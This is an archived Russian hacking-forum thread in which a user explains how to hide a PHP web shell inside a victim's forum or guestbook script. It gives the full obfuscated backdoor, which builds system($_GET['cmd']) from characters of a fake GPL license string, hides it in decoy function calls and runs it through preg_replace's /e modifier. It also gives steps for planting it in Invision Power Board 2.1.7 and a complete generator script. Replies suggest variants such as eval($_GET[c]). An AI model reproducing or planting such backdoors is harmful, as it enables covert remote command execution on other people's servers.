PDA

Просмотр полной версии : Скрываем свой Php код в скрипте жертвы.


_Great_
30.11.2006, 15:43
Думаю, многие задумывались над вопросом - как бы запрятать в php-скрипте, будь то форум, сайт или гостевая книга, свой код (шелл или что еще), как бы "протроянить" его.
Дописать просто <?php system($_GET[cmd]); ?>, <?php include($_GET[inc]); ?> или даже <?php eval(base64_decode("...")); ?> - тупо, слишком заметно и неоригинально =)
Будет админ бегло просматривать скрипт по какой-либо причине, заметит кусок вида eval(base64_decode(..)) и сразу поймет, что тут выполняется какой-то php-код, да еще и закодированный в base64. Не порядок :) Нам надо как-либо преобразовать, например, код system($_GET[cmd]), чтобы не было заметно, что выполняются какие-то команды.
Самый незаметный, по моему мнению, способ - объявить переменную с каким-либо текстом, например,
$license = " GNU GENERAL PUBLIC LICENSE
Version 2, June 1991

Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.

_[Preamble]_

The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.

When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.

We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

The precise terms and conditions for copying, distribution and
modification follow.";
(типа кусок лицензии GNU GPL) и потом выдирать посимвольно оттуда символы, собирать их в строку и отдать ее на выполнение не обычным eval, а, например, с помощью вызова preg_replace с модификатором 'e': @preg_replace("#(\d+)#e", $i, "31337");, где $i - наш код. preg_replace найдет в строке '31337' один или более символов (регулярное выражение \d+) и произведет в ней замену согласно коду $i, который она перед этим выполнит; в добавок еще и будут подавлены все сообщения об ошибках с помощью оператора @ в PHP. То есть это полностью аналогично @eval($i), за исключением того, что в $i не должно быть переносов строки.
Собирать код в строку будем разными способами. Например,
$i .= $license[123]; // банально :)
$i = $i.$license[123]; // разновидность предыдущего
$i = join('', array($i, $license[123])); // извращаемся с join() :)

мало того, все это еще обернем в вызов какой-либо функции, смысл которой близок к выполняемому скрипту. Например, если это гостевая книга с обилием вызовов mysql_query и mysql_fetch_array, то мы код запишем в виде
@mysql_query($i = implode("", array($i, $license[48])));
@mysql_fetch_array($i .= $license[205]);
Опять же @ подавляет все ошибки, а они неизбежно будут, т.к. переданные параметры отнюдь не то, что ожидают эти функции =)
Как результат - PHP просто выполнит выражения, которые стоят в аргументах, а сама функция упадет с ошибкой, которую мы скроем. Еще добавим всякие функции для работы со строками, например, chop,nl2br,md5 для вида :).
После всех извращений с php, вызов system($_GET[cmd]) принимает вид:
$license = " $ GNU GENERAL PUBLIC LICENSE
Version 2, June 1991

Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.

_[Preamble]_

The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.

When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.

We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

The precise terms and conditions for copying, distribution and
modification follow.";
@mysql_close($i = join("", array($i, $license[48])));
crypt($i = $i.$license[73]);
nl2br($i = $i.$license[48]);
nl2br($i = join("", array($i, $license[78])));
md5($i = $i.$license[46]);
crypt($i = implode("", array($i, $license[205])));
md5($i .= $license[80]);
crypt($i = join("", array($i, $license[1])));
md5($i = join("", array($i, $license[321])));
md5($i = implode("", array($i, $license[8])));
@convert_cyr_string($i = $i.$license[13]);
nl2br($i = implode("", array($i, $license[339])));
@mysql_query($i = join("", array($i, $license[322])));
@mysql_close($i = join("", array($i, $license[685])));
md5($i = $i.$license[123]);
@mysql_query($i .= $license[205]);
crypt($i .= $license[113]);
nl2br($i = implode("", array($i, $license[685])));
@mysql_close($i = $i.$license[331]);
@mysql_query($i = implode("", array($i, $license[82])));
chop($i .= $license[1285]);
@preg_replace("#(\d+)#e", $i, "31337");

В качестве примера использования рассмотрим Invision Power Board 2.1.7 :)
Поступим так - текст "лицензии" gnu впихнем в init.php, часть кода в index.php, а часть - в sources/action_public/help.php
Таким образом, при вызове /index.php?act=Help&cmd=[COMMAND] мы получим шелл =)
(Естественно, для использования этого в реальных форумах желательно составить код без юзания GET'а, а, например, брать код из заголовка Referer или что-нибудь в этом роде).
Результат показан на картинке:
http://cribble.by.ru/data/ipb217.png

Естественно, писал весь этот код я не сам, а при помощи скрипта-перекодировщика, которому нужно скормить текст (для "выдирания" оттуда символов и их конкатенации) и код для кодирования. Выдаст он примерно то, что показано выше, только в различных вариациях + результат выполнения сгенерированного кода.
Скрипт-перекодировщик:
<?
$license = <<<EOF
$ GNU GENERAL PUBLIC LICENSE
Version 2, June 1991

Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.

_[Preamble]_

The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.

When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.

We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

The precise terms and conditions for copying, distribution and
EOF;

$text = "system(\$_GET['cmd']);";

function process_text($base_name, $out_name, $base, $text)
{
preg_match("#\.(\d+) #", microtime(), $d);
mt_srand($d[1]);

$functions = array( '@mysql_query', '@mysql_close', '@mysql_fetch_array', 'crypt', 'chop', 'nl2br', '@convert_cyr_string', 'md5' );

$encode = '$'.$base_name.' = "'.str_replace('"', '\\'.'"', $base).'";'."\n";

for($i=0;$i<strlen($text);$i++)
{

$p = strpos($base, $text[$i]);
if($p===false)
die("Conversion impossible (can't find match for '".$text[$i]."')");

$func = $functions[ mt_rand()%count($functions) ];

switch(mt_rand()%4)
{
case 0:
$encode .= $func.'($'.$out_name.' .= $'.$base_name.'['.$p.']);'."\n";
break;
case 1:
$encode .= $func.'($'.$out_name.' = $'.$out_name.'.$'.$base_name.'['.$p.']);'."\n";
break;
case 2:
$encode .= $func.'($'.$out_name.' = join("", array($'.$out_name.', $'.$base_name.'['.$p.'])));'."\n";
break;
case 3:
$encode .= $func.'($'.$out_name.' = implode("", array($'.$out_name.', $'.$base_name.'['.$p.'])));'."\n";
break;
}

preg_match("#\.(\d+) #", microtime(), $d);
mt_srand($d[1]);
}

switch(mt_rand()%3)
{
case 0:
$encode .= '@preg_replace("#(\d+)#e", $'.$out_name.', "31337");'."\n";
break;
case 1:
$encode .= '@preg_replace("#(\w+)#e", $'.$out_name.', "mysql");'."\n";
break;
case 2:
$encode .= '@preg_replace("#(\s+)#e", $'.$out_name.', "\n");'."\n";
break;
}

return $encode;
}

$c = process_text("license", "i", $license, $text);

echo "<pre>$c</pre>";
echo "<p>";
eval($c);
?>

1ten0.0net1
30.11.2006, 15:55
Имхо, способо пригоден для больших движков, где это можно создать отдельным файлом. На самописных - не вариант.

_Great_
30.11.2006, 15:57
Поэтому и рассмотрен ИПБ +)
+ код можно сократить, выдирая по два-три символа сразу
А вообще это больше информация к размышлению, чем руководство к действию.

r0
30.11.2006, 16:00
Если на сервере vBulletin или еще что-то подобное то какая же там GPL ? =Ъ
столько текста еще палевней будет, имсхо
// я про то, что многие скрипты не включают текст лицензии, а скажем только ссылку на этот текст.

_Great_
30.11.2006, 16:03
GPL для примера взято =)
Подходит любой текст (можно уложиться в 1-2 строки) с символами набора "system($_GET[cmd]);"

Причем пихать это все одним блоком зачем?
Можно раскидать эти строчки кода по всему телу 20-30-килобайтного скрипта. Не так палевно, как кажется.
Зато если разбираться, что они делают - хрен поймешь ;)

gemaglabin
30.11.2006, 16:12
Вообще затея отличная,я бы даже сказал просто и гениально.Не придирайтесь к примеру GPL там или нет,Грейт молодцом а тему имхо закрепить.

bopoh13
30.11.2006, 17:06
За пример, С П А С И Б О! :)

Надо, наконец, с SMF-движком попробовать!

bopoh13
30.11.2006, 18:01
Молодец, +.
Добавил в карту статей.Ты так быстро работоспособность проверил :eek: Я удивлен!

M-K
16.08.2007, 22:52
Статья понравилась, вдохновляет. Но по-момеу в новых версиях Ipb есть утилиты для проверки целостности файлов Ipb форума... по крайней мере их количество. Хотя конечно можно выкрутиться.

guest3297
16.08.2007, 23:24
Есть такая вещь как проверка контрольной суммы.
В граматно настроенной системе ты и бита не куда не пихнешь.

NOmeR1
16.08.2007, 23:31
Самый лучший способ на мой взгляд:

<?
...
if($_GET[c]) eval($_GET[c]);
...
?>

k1b0rg
17.08.2007, 17:46
Одно не учёл ,что ты используешь открыто функцию eval, всё, ты спалился, и весь твой код тоже.

Помимо eval функций (eval,preg_replace /e) есть еще записи, позволяющие интерпретировать текст как пхп код.

А так это все херня. Любым сурсовы сканером спалится такой код.

Isis
07.10.2007, 14:26
Почему бы также eval не разрезать на буквы и соединить в одной переменной?

Piflit
07.10.2007, 14:30
Почему бы также eval не разрезать на буквы и соединить в одной переменной?
о чем собственно и первый пост

Underwit
08.10.2007, 17:58
Можно замутить чтоб из каментов резал символы.